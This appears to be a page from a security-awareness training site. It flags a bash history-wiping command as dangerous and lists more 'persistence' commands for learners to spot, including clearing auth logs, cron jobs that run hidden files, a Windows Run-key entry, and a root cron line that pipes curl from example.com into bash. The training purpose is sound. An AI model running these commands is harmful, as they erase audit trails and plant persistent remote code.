Dangerous
history -c && cat /dev/null > ~/.bash_historylinux · bash · Beginner
Clears the in-memory shell history and then empties the file it would be written to. Nothing here is a destructive-sounding verb, but the result is that the record of what was typed is gone.
Signals to notice
- erases both the live history and the file it persists to
- runs entirely with normal user permissions, so nothing prompts
Think you can spot these under time pressure?
Start TrainingMore Persistence
truncate -s 0 /var/log/auth.logIntermediatehistory -c && export HISTFILE=/dev/nullIntermediateecho '* * * * * /tmp/.update' | crontab -Intermediateln -sf /dev/null ~/.bash_historyIntermediateNew-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name Updater -Value 'C:\Users\Public\svc.exe'Advancedecho '*/5 * * * * root curl -s https://example.com/c | bash' | sudo tee -a /etc/cron.d/syncExpert